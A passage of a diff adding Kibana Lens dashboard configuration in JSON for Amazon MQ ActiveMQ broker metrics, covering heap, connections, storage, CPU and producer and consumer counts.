+ "text": "average(aws.amazonmq.metrics.activemq.broker.HeapUsage.avg)/100",
+ "type": "function"
+ }
+ },
+ "references": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0"
+ ],
+ "scale": "ratio"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "color": "#CA8EAE",
+ "icon": "empty",
+ "layerId": "e087695b-1585-4d8f-be37-62949a95b42b",
+ "layerType": "data",
+ "metricAccessor": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsMetric"
+ },
+ "description": "The percentage of the ActiveMQ JVM memory limit that the broker currently uses.",
+ "enhancements": {},
+ "hidePanelTitles": true
+ },
+ "gridData": {
+ "h": 7,
+ "i": "d283b8f3-abd3-40d6-95c0-4eb9b7ed9927",
+ "w": 8,
+ "x": 24,
+ "y": 0
+ },
+ "panelIndex": "d283b8f3-abd3-40d6-95c0-4eb9b7ed9927",
+ "title": "",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-9f090cb9-ced1-44d1-956a-78936c15d125",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "9f090cb9-ced1-44d1-956a-78936c15d125": {
+ "columnOrder": [
+ "8fba23c1-a4b3-4703-85c0-295676e13622",
+ "af72bd07-a2fb-4f1b-8a41-24f23c877eb4",
+ "8be9aa39-0601-47bd-b02d-1dd6540cfc60"
+ ],
+ "columns": {
+ "8be9aa39-0601-47bd-b02d-1dd6540cfc60": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Current connections",
+ "operationType": "sum",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.CurrentConnectionsCount.max"
+ },
+ "8fba23c1-a4b3-4703-85c0-295676e13622": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Broker",
+ "operationType": "terms",
+ "params": {
+ "exclude": [],
+ "excludeIsRegex": false,
+ "include": [],
+ "includeIsRegex": false,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "8be9aa39-0601-47bd-b02d-1dd6540cfc60",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Broker"
+ },
+ "af72bd07-a2fb-4f1b-8a41-24f23c877eb4": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "linkToLayers": [],
+ "sampling": 1
+ },
+ "e087695b-1585-4d8f-be37-62949a95b42b": {
+ "columnOrder": [
+ "8d567192-0799-4e6b-9072-90b2c4a713c4",
+ "e351cce6-dce5-4ea6-9b36-0c921bba099f",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ ],
+ "columns": {
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Established connections",
+ "operationType": "sum",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.EstablishedConnectionsCount.max"
+ },
+ "8d567192-0799-4e6b-9072-90b2c4a713c4": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Broker",
+ "operationType": "terms",
+ "params": {
+ "exclude": [],
+ "excludeIsRegex": false,
+ "include": [],
+ "includeIsRegex": false,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Broker"
+ },
+ "e351cce6-dce5-4ea6-9b36-0c921bba099f": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "axisTitlesVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "fittingFunction": "None",
+ "gridlinesVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "labelsOrientation": {
+ "x": 0,
+ "yLeft": 0,
+ "yRight": 0
+ },
+ "layers": [
+ {
+ "accessors": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "eui_amsterdam_color_blind",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "e087695b-1585-4d8f-be37-62949a95b42b",
+ "layerType": "data",
+ "seriesType": "line",
+ "splitAccessor": "8d567192-0799-4e6b-9072-90b2c4a713c4",
+ "xAccessor": "e351cce6-dce5-4ea6-9b36-0c921bba099f",
+ "yConfig": []
+ },
+ {
+ "accessors": [
+ "8be9aa39-0601-47bd-b02d-1dd6540cfc60"
+ ],
+ "layerId": "9f090cb9-ced1-44d1-956a-78936c15d125",
+ "layerType": "data",
+ "seriesType": "area",
+ "splitAccessor": "8fba23c1-a4b3-4703-85c0-295676e13622",
+ "xAccessor": "af72bd07-a2fb-4f1b-8a41-24f23c877eb4",
+ "yConfig": [
+ {
+ "axisMode": "right",
+ "color": "#6092c0",
+ "forAccessor": "8be9aa39-0601-47bd-b02d-1dd6540cfc60"
+ }
+ ]
+ }
+ ],
+ "legend": {
+ "isVisible": true,
+ "position": "bottom"
+ },
+ "preferredSeriesType": "area",
+ "tickLabelsVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "valueLabels": "hide"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsXY"
+ },
+ "description": "The established connection count is the total number of connections, active and inactive, that have been established on the broker.\n\nThe current connection count is the current number of active connections on the current broker.",
+ "enhancements": {},
+ "hidePanelTitles": false
+ },
+ "gridData": {
+ "h": 14,
+ "i": "231ff3ae-2395-43ea-ba5e-7ecc83c01fe9",
+ "w": 16,
+ "x": 32,
+ "y": 0
+ },
+ "panelIndex": "231ff3ae-2395-43ea-ba5e-7ecc83c01fe9",
+ "title": "Broker connections",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "e087695b-1585-4d8f-be37-62949a95b42b": {
+ "columnOrder": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1"
+ ],
+ "columns": {
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Average storage utilization",
+ "operationType": "formula",
+ "params": {
+ "format": {
+ "id": "percent",
+ "params": {
+ "compact": false,
+ "decimals": 2
+ }
+ },
+ "formula": "average(aws.amazonmq.metrics.activemq.broker.StorePercentUsage.avg)/100",
+ "isFormulaBroken": false
+ },
+ "references": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1"
+ ],
+ "scale": "ratio"
+ },
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Part of Average Storage utilization",
+ "operationType": "average",
+ "params": {
+ "emptyAsNull": false
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.StorePercentUsage.avg"
+ },
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Part of Average Storage utilization",
+ "operationType": "math",
+ "params": {
+ "tinymathAst": {
+ "args": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0",
+ 100
+ ],
+ "location": {
+ "max": 71,
+ "min": 0
+ },
+ "name": "divide",
+ "text": "average(aws.amazonmq.metrics.activemq.broker.StorePercentUsage.avg)/100",
+ "type": "function"
+ }
+ },
+ "references": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0"
+ ],
+ "scale": "ratio"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "color": "#6092c0b3",
+ "icon": "empty",
+ "layerId": "e087695b-1585-4d8f-be37-62949a95b42b",
+ "layerType": "data",
+ "metricAccessor": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsMetric"
+ },
+ "description": "The percentage of allocated Amazon EC2 compute units that the broker currently uses.",
+ "enhancements": {},
+ "hidePanelTitles": true
+ },
+ "gridData": {
+ "h": 7,
+ "i": "4589d24e-3705-4993-8d43-49bb8c347738",
+ "w": 8,
+ "x": 16,
+ "y": 7
+ },
+ "panelIndex": "4589d24e-3705-4993-8d43-49bb8c347738",
+ "title": "",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "e087695b-1585-4d8f-be37-62949a95b42b": {
+ "columnOrder": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1"
+ ],
+ "columns": {
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Average temporary storage utilization",
+ "operationType": "formula",
+ "params": {
+ "format": {
+ "id": "percent",
+ "params": {
+ "decimals": 2
+ }
+ },
+ "formula": "average(aws.amazonmq.metrics.activemq.broker.TempPercentUsage.avg)/100",
+ "isFormulaBroken": false
+ },
+ "references": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1"
+ ],
+ "scale": "ratio"
+ },
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Part of Average Temporary storage utilization",
+ "operationType": "average",
+ "params": {
+ "emptyAsNull": false
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.TempPercentUsage.avg"
+ },
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Part of Average Temporary storage utilization",
+ "operationType": "math",
+ "params": {
+ "tinymathAst": {
+ "args": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0",
+ 100
+ ],
+ "location": {
+ "max": 70,
+ "min": 0
+ },
+ "name": "divide",
+ "text": "average(aws.amazonmq.metrics.activemq.broker.TempPercentUsage.avg)/100",
+ "type": "function"
+ }
+ },
+ "references": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0"
+ ],
+ "scale": "ratio"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "color": "#aa6556b3",
+ "icon": "empty",
+ "layerId": "e087695b-1585-4d8f-be37-62949a95b42b",
+ "layerType": "data",
+ "metricAccessor": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsMetric"
+ },
+ "description": "The percentage of available temporary storage used by non-persistent messages.",
+ "enhancements": {},
+ "hidePanelTitles": true
+ },
+ "gridData": {
+ "h": 7,
+ "i": "1cb87e1f-3bd3-46dc-88a2-733ab9043551",
+ "w": 8,
+ "x": 24,
+ "y": 7
+ },
+ "panelIndex": "1cb87e1f-3bd3-46dc-88a2-733ab9043551",
+ "title": "",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "description": "The percentage of allocated Amazon EC2 compute units that the broker currently uses.",
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "e087695b-1585-4d8f-be37-62949a95b42b": {
+ "columnOrder": [
+ "5cc46217-2d43-4972-8182-534d84ce172e",
+ "1dacab0a-99b9-43c5-b92c-576406fe0a70",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1"
+ ],
+ "columns": {
+ "1dacab0a-99b9-43c5-b92c-576406fe0a70": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ },
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "CPU utilization",
+ "operationType": "formula",
+ "params": {
+ "format": {
+ "id": "percent",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ },
+ "formula": "average(aws.amazonmq.metrics.activemq.broker.CpuUtilization.avg)/100",
+ "isFormulaBroken": false
+ },
+ "references": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1"
+ ],
+ "scale": "ratio"
+ },
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Part of Percentage of CPU utilization",
+ "operationType": "average",
+ "params": {
+ "emptyAsNull": false
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.CpuUtilization.avg"
+ },
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Part of Percentage of CPU utilization",
+ "operationType": "math",
+ "params": {
+ "tinymathAst": {
+ "args": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0",
+ 100
+ ],
+ "location": {
+ "max": 68,
+ "min": 0
+ },
+ "name": "divide",
+ "text": "average(aws.amazonmq.metrics.activemq.broker.CpuUtilization.avg)/100",
+ "type": "function"
+ }
+ },
+ "references": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0"
+ ],
+ "scale": "ratio"
+ },
+ "5cc46217-2d43-4972-8182-534d84ce172e": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Broker",
+ "operationType": "terms",
+ "params": {
+ "exclude": [],
+ "excludeIsRegex": false,
+ "include": [],
+ "includeIsRegex": false,
+ "missingBucket": false,
+ "orderBy": {
+ "fallback": true,
+ "type": "alphabetical"
+ },
+ "orderDirection": "asc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Broker"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "axisTitlesVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "fittingFunction": "None",
+ "gridlinesVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "labelsOrientation": {
+ "x": 0,
+ "yLeft": 0,
+ "yRight": 0
+ },
+ "layers": [
+ {
+ "accessors": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "eui_amsterdam_color_blind",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "e087695b-1585-4d8f-be37-62949a95b42b",
+ "layerType": "data",
+ "seriesType": "area",
+ "splitAccessor": "5cc46217-2d43-4972-8182-534d84ce172e",
+ "xAccessor": "1dacab0a-99b9-43c5-b92c-576406fe0a70"
+ }
+ ],
+ "legend": {
+ "isVisible": true,
+ "position": "bottom",
+ "shouldTruncate": false
+ },
+ "preferredSeriesType": "area",
+ "tickLabelsVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "valueLabels": "hide"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsXY"
+ },
+ "description": "The percentage of allocated Amazon EC2 compute units that the broker currently uses.",
+ "enhancements": {},
+ "hidePanelTitles": false
+ },
+ "gridData": {
+ "h": 14,
+ "i": "0083352f-a49e-4c37-9cdd-65956d59111c",
+ "w": 16,
+ "x": 0,
+ "y": 14
+ },
+ "panelIndex": "0083352f-a49e-4c37-9cdd-65956d59111c",
+ "title": "CPU utilization",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "e087695b-1585-4d8f-be37-62949a95b42b": {
+ "columnOrder": [
+ "7a1a2fc8-c3dd-40c6-b136-36e6a2aa8cd7",
+ "86bbed99-c623-4712-8a03-7b5c36287e8e",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1"
+ ],
+ "columns": {
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Storage utilization",
+ "operationType": "formula",
+ "params": {
+ "format": {
+ "id": "percent",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ },
+ "formula": "average(aws.amazonmq.metrics.activemq.broker.StorePercentUsage.avg)/100",
+ "isFormulaBroken": false
+ },
+ "references": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1"
+ ],
+ "scale": "ratio"
+ },
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Part of Percentage of storage utilization",
+ "operationType": "average",
+ "params": {
+ "emptyAsNull": false
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.StorePercentUsage.avg"
+ },
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Part of Percentage of storage utilization",
+ "operationType": "math",
+ "params": {
+ "tinymathAst": {
+ "args": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0",
+ 100
+ ],
+ "location": {
+ "max": 71,
+ "min": 0
+ },
+ "name": "divide",
+ "text": "average(aws.amazonmq.metrics.activemq.broker.StorePercentUsage.avg)/100",
+ "type": "function"
+ }
+ },
+ "references": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0"
+ ],
+ "scale": "ratio"
+ },
+ "7a1a2fc8-c3dd-40c6-b136-36e6a2aa8cd7": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 3 values of aws.dimensions.Broker",
+ "operationType": "terms",
+ "params": {
+ "exclude": [],
+ "excludeIsRegex": false,
+ "include": [],
+ "includeIsRegex": false,
+ "missingBucket": false,
+ "orderBy": {
+ "fallback": true,
+ "type": "alphabetical"
+ },
+ "orderDirection": "asc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "size": 3
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Broker"
+ },
+ "86bbed99-c623-4712-8a03-7b5c36287e8e": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "axisTitlesVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "fittingFunction": "None",
+ "gridlinesVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "labelsOrientation": {
+ "x": 0,
+ "yLeft": 0,
+ "yRight": 0
+ },
+ "layers": [
+ {
+ "accessors": [
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "eui_amsterdam_color_blind",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "e087695b-1585-4d8f-be37-62949a95b42b",
+ "layerType": "data",
+ "seriesType": "area",
+ "splitAccessor": "7a1a2fc8-c3dd-40c6-b136-36e6a2aa8cd7",
+ "xAccessor": "86bbed99-c623-4712-8a03-7b5c36287e8e"
+ }
+ ],
+ "legend": {
+ "isVisible": true,
+ "position": "bottom",
+ "shouldTruncate": false
+ },
+ "preferredSeriesType": "area",
+ "tickLabelsVisibilitySettings": {
+ "x": true,
+ "yLeft": true,
+ "yRight": true
+ },
+ "valueLabels": "hide"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsXY"
+ },
+ "description": "The percentage of allocated Amazon EC2 compute units that the broker currently uses.",
+ "enhancements": {},
+ "hidePanelTitles": false
+ },
+ "gridData": {
+ "h": 14,
+ "i": "d0441ad2-aa47-4dd9-827f-4151bb4e823f",
+ "w": 16,
+ "x": 16,
+ "y": 14
+ },
+ "panelIndex": "d0441ad2-aa47-4dd9-827f-4151bb4e823f",
+ "title": "Storage utilization",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-950f9c94-6e0a-442b-aac9-563db74dc340",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "950f9c94-6e0a-442b-aac9-563db74dc340": {
+ "columnOrder": [
+ "2d23bba6-7cc8-49ad-9d2a-973c52f075f3",
+ "43dd70ab-652d-43d9-8fdd-8825a4d400a6",
+ "1587b29a-ea56-40be-9ff7-4ed374edd2c6"
+ ],
+ "columns": {
+ "1587b29a-ea56-40be-9ff7-4ed374edd2c6": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Producer count",
+ "operationType": "sum",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.TotalProducerCount.max"
+ },
+ "2d23bba6-7cc8-49ad-9d2a-973c52f075f3": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Broker",
+ "operationType": "terms",
+ "params": {
+ "exclude": [],
+ "excludeIsRegex": false,
+ "include": [],
+ "includeIsRegex": false,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "1587b29a-ea56-40be-9ff7-4ed374edd2c6",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Broker"
+ },
+ "43dd70ab-652d-43d9-8fdd-8825a4d400a6": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ },
+ "e087695b-1585-4d8f-be37-62949a95b42b": {
+ "columnOrder": [
+ "8f8a5bdb-c109-4d59-bb2b-783d1724fcac",
+ "e351cce6-dce5-4ea6-9b36-0c921bba099f",
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713"
+ ],
+ "columns": {
+ "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Consumer count",
+ "operationType": "sum",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.broker.TotalConsumerCount.max"
+ },
+ "8f8a5bdb-c109-4d59-bb2b-783d1724fcac": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Broker",
+ "operationType": "terms",
+ "params": {
+ "exclude": [],
+ "excludeIsRegex": false,
+ "include": [],
+ "includeIsRegex": false,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Broker"
+ },
+ "e351cce6-dce5-4ea6-9b36-0c921bba099f": {
+ "dataType": "date",
+ "isBucketed": true,
